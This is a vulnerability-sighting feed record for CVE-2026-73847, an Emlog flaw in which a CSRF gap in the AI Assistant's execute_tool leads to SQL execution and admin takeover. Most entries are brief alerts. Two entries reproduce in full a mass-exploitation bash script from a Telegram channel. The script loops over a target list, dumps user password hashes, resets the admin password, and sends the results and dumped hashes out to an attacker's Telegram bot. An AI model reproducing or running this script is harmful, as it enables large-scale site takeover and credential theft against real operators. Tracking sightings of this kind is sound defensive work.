{"vulnerability": "CVE-2026-73847", "sightings": [{"uuid": "3d28d5a9-efd7-480c-85ae-b65138eee43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/4yiga7czvu423", "content": "CVE-2026-73847 - Emlog: Missing CSRF protection in AI Assistant execute_tool leads to full database compromise and admin account takeover\nCVE ID : CVE-2026-73847\n \n Published : Aug. 14, 2026, 6:19 p.m. | 16\u00a0minutes ago\n \n Description : Emlog is an open source website building ...", "creation_timestamp": "2026-08-14T19:16:33.256921Z"}, {"uuid": "c12cc328-a131-4ff7-8bc8-1fabd9fab08a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "Telegram/ynjmqxzp7YI_R9qKJrdTzR8VpgA8NU0utxNDhQb71CparQc", "content": "", "creation_timestamp": "2026-08-17T18:00:05.579578Z"}, {"uuid": "505adf57-c059-4642-bc12-f8dc842006cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "Telegram/psShhqFGmsW7Zu1QfEmheOdGYUcEaP4Ivd2AB-NkVeHuutw", "content": "", "creation_timestamp": "2026-08-17T18:00:05.838179Z"}, {"uuid": "1d1af080-6b69-4a41-b177-ace3951fa4e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "Telegram/psShhqFGmsW7Zu1QfEmheOdGYUcEaP4Ivd2AB-NkVeHuutw", "content": "", "creation_timestamp": "2026-08-18T00:00:10.413517Z"}, {"uuid": "ab2fa38a-a810-414c-b353-4348a5359266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "Telegram/ynjmqxzp7YI_R9qKJrdTzR8VpgA8NU0utxNDhQb71CparQc", "content": "", "creation_timestamp": "2026-08-18T00:00:10.636696Z"}, {"uuid": "7dcbe278-ee24-47df-9d15-b77bc6475f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://t.me/GithubRedTeam/98270", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-73847-emlog-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a squeeze440\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 04:38:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-73847 - emlog AI Assistant CSRF to SQL execution to admin takeover (CVSS 6.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:08.226669Z"}, {"uuid": "cf82d32a-b13f-4b33-8a38-500412b998be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://t.me/GithubRedTeam/98270", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-73847-emlog-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a squeeze440\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 04:38:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-73847 - emlog AI Assistant CSRF to SQL execution to admin takeover (CVSS 6.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:32.856302Z"}, {"uuid": "160066cc-588e-4662-b1e7-0b27abde4bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://t.me/blackmrkt1337ch/1915", "content": "Emlog PoC by HanzOFC\n\n   \u2014\u2014-> Good Luck\n\n#!/usr/bin/env bash\n# CVE-2026-73847 - emlog AI Assistant CSRF -> SQL execution -> admin takeover\n# Mass Target & Telegram Notification Version (Config Inside Script)\n# Usage: ./poc_mass_tele.sh targets.txt admin ''\n# Create by HanzOFC\n# Telegram : @xpenzzz // YouTube : @HanzOFC1337\n\nset -uo pipefail\n\n# CONFIG TELEGRAM\n# ^^^\nTELEGRAM_BOT_TOKEN=\"Your token\"\nCHAT_ID=\"Your ID\"\n# ^^^\n\nTARGET_FILE=\"${1:?usage: $0 targets.txt admin_user admin_pass}\"\nUSER=\"${2:?usage: $0 targets.txt admin_user admin_pass}\"\nPASS=\"${3:?usage: $0 targets.txt admin_user admin_pass}\"\n\nNEWPASS_HASH='$P$BMHfYr.J6nlfVxloh38biIBNFq8fvF1'   # PHPass hash for \"HackedByPoC123!\"\n\nsend_telegram() {\n    local message=\"$1\"\n    curl -s -X POST \"https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage\" \\\n        -d \"chat_id=${CHAT_ID}\" \\\n        -d \"text=${message}\" \\\n        -d \"parse_mode=Markdown\" > /dev/null\n}\n\nif [ ! -f \"$TARGET_FILE\" ]; then\n    echo \"[-] Target file $TARGET_FILE not found!\"\n    exit 1\nfi\n\nsend_telegram \"\ud83d\ude80 *Start Mass PoC CVE-2026-73847*...\"\n\nwhile IFS= read -r TARGET; do\n\n    [[ -z \"$TARGET\"  \"$TARGET\" =~ ^# ]] && continue\n\n    echo \"[*] Processing target: ${TARGET}\"\n    COOKIE_JAR=$(mktemp)\n    ATTACKER_JAR=$(mktemp)\n    \n    AUTH_RES=$(curl -s -c \"$COOKIE_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=${PASS}\" -d \"resp=json\")\n\n    DUMP_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode 'params={\"sql\":\"SELECT uid, username, password AS pwd_hash FROM user\"}')\n\n    UPDATE_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode \"params={\\\"sql\\\":\\\"UPDATE user SET password='${NEWPASS_HASH}' WHERE uid=1\\\"}\" \\\n      --data-urlencode \"confirm_code=confirm\")\n\n    FINAL_RES=$(curl -s -c \"$ATTACKER_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=HackedByPoC123!\" -d \"resp=json\")\n\n    if echo \"$FINAL_RES\" | grep -q '\"code\":1'  echo \"$FINAL_RES\" | grep -q 'success'; then\n        TELEGRAM_MSG=\"*SUCCESS: Target Compromised!*\\n\\n*Target:* \\`${TARGET}\\`\\n*New Password:* \\`HackedByPoC123!\\`\\n\\n*Hash Dump Result:*\\n\\`\\`\\`json\\n${DUMP_RES}\\n\\`\\`\\`\"\n    else\n        TELEGRAM_MSG=\"\u274c *FAILED:* \\`${TARGET}\\`\\nResponse: ${FINAL_RES}\"\n    fi\n\n    send_telegram \"$TELEGRAM_MSG\"\n\n    rm -f \"$COOKIE_JAR\" \"$ATTACKER_JAR\"\n\ndone < \"$TARGET_FILE\"\n\nsend_telegram \"Exploit End\"\necho \"[*] Done. Exploit Success.\"", "creation_timestamp": "2026-08-28T04:00:05.417840Z"}, {"uuid": "0af616ad-1510-4861-9395-e90b20dfb82e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98270", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-73847-emlog-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a squeeze440\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 04:38:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-73847 - emlog AI Assistant CSRF to SQL execution to admin takeover (CVSS 6.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-24T00:00:10.896277Z"}, {"uuid": "64565ab0-4a3c-4f6e-b9c7-bc21693b72ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "https://t.me/blackmrkt1337ch/1915", "content": "Emlog PoC by HanzOFC\n\n   \u2014\u2014-> Good Luck\n\n#!/usr/bin/env bash\n# CVE-2026-73847 - emlog AI Assistant CSRF -> SQL execution -> admin takeover\n# Mass Target & Telegram Notification Version (Config Inside Script)\n# Usage: ./poc_mass_tele.sh targets.txt admin ''\n# Create by HanzOFC\n# Telegram : @xpenzzz // YouTube : @HanzOFC1337\n\nset -uo pipefail\n\n# CONFIG TELEGRAM\n# ^^^\nTELEGRAM_BOT_TOKEN=\"Your token\"\nCHAT_ID=\"Your ID\"\n# ^^^\n\nTARGET_FILE=\"${1:?usage: $0 targets.txt admin_user admin_pass}\"\nUSER=\"${2:?usage: $0 targets.txt admin_user admin_pass}\"\nPASS=\"${3:?usage: $0 targets.txt admin_user admin_pass}\"\n\nNEWPASS_HASH='$P$BMHfYr.J6nlfVxloh38biIBNFq8fvF1'   # PHPass hash for \"HackedByPoC123!\"\n\nsend_telegram() {\n    local message=\"$1\"\n    curl -s -X POST \"https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage\" \\\n        -d \"chat_id=${CHAT_ID}\" \\\n        -d \"text=${message}\" \\\n        -d \"parse_mode=Markdown\" > /dev/null\n}\n\nif [ ! -f \"$TARGET_FILE\" ]; then\n    echo \"[-] Target file $TARGET_FILE not found!\"\n    exit 1\nfi\n\nsend_telegram \"\ud83d\ude80 *Start Mass PoC CVE-2026-73847*...\"\n\nwhile IFS= read -r TARGET; do\n\n    [[ -z \"$TARGET\"  \"$TARGET\" =~ ^# ]] && continue\n\n    echo \"[*] Processing target: ${TARGET}\"\n    COOKIE_JAR=$(mktemp)\n    ATTACKER_JAR=$(mktemp)\n    \n    AUTH_RES=$(curl -s -c \"$COOKIE_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=${PASS}\" -d \"resp=json\")\n\n    DUMP_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode 'params={\"sql\":\"SELECT uid, username, password AS pwd_hash FROM user\"}')\n\n    UPDATE_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode \"params={\\\"sql\\\":\\\"UPDATE user SET password='${NEWPASS_HASH}' WHERE uid=1\\\"}\" \\\n      --data-urlencode \"confirm_code=confirm\")\n\n    FINAL_RES=$(curl -s -c \"$ATTACKER_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=HackedByPoC123!\" -d \"resp=json\")\n\n    if echo \"$FINAL_RES\" | grep -q '\"code\":1'  echo \"$FINAL_RES\" | grep -q 'success'; then\n        TELEGRAM_MSG=\"*SUCCESS: Target Compromised!*\\n\\n*Target:* \\`${TARGET}\\`\\n*New Password:* \\`HackedByPoC123!\\`\\n\\n*Hash Dump Result:*\\n\\`\\`\\`json\\n${DUMP_RES}\\n\\`\\`\\`\"\n    else\n        TELEGRAM_MSG=\"\u274c *FAILED:* \\`${TARGET}\\`\\nResponse: ${FINAL_RES}\"\n    fi\n\n    send_telegram \"$TELEGRAM_MSG\"\n\n    rm -f \"$COOKIE_JAR\" \"$ATTACKER_JAR\"\n\ndone < \"$TARGET_FILE\"\n\nsend_telegram \"Exploit End\"\necho \"[*] Done. Exploit Success.\"", "creation_timestamp": "2026-08-29T00:00:28.925080Z"}]}